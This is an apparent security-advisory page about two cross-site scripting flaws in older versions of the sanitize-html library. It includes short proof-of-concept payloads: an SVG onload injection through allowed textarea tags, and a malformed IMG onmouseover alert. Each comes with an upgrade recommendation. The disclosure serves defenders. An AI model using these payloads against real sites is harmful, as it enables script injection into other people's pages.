See how punkave compares to other vendors in security performance
Affected versions of sanitize-html are vulnerable to cross-site scripting when allowedTags includes at least one nonTextTag.
Proof of Concept
js var sanitizeHtml = require('sanitize-html');
var dirty = '!<textarea></textarea><svg/onload=promptxs></textarea>!'; var clean = sanitizeHtml(dirty, { allowedTags: [ 'textarea' ] });
console.log(clean);
// !<textarea></textarea><svg/onload=promptxs></textarea>!
Recommendation
Update to version 1.11.4 or later.
Affected versions of sanitize-html are vulnerable to cross-site scripting.
Proof of Concept:
<IMG SRC= onmouseover="alert('XSS');"> produces the following:
<img src="onmouseover="alert('XSS');"" /> This is definitely invalid HTML, but would suggest that it's being interpreted incorrectly by the parser.
Recommendation
Update to version 1.2.3 or later.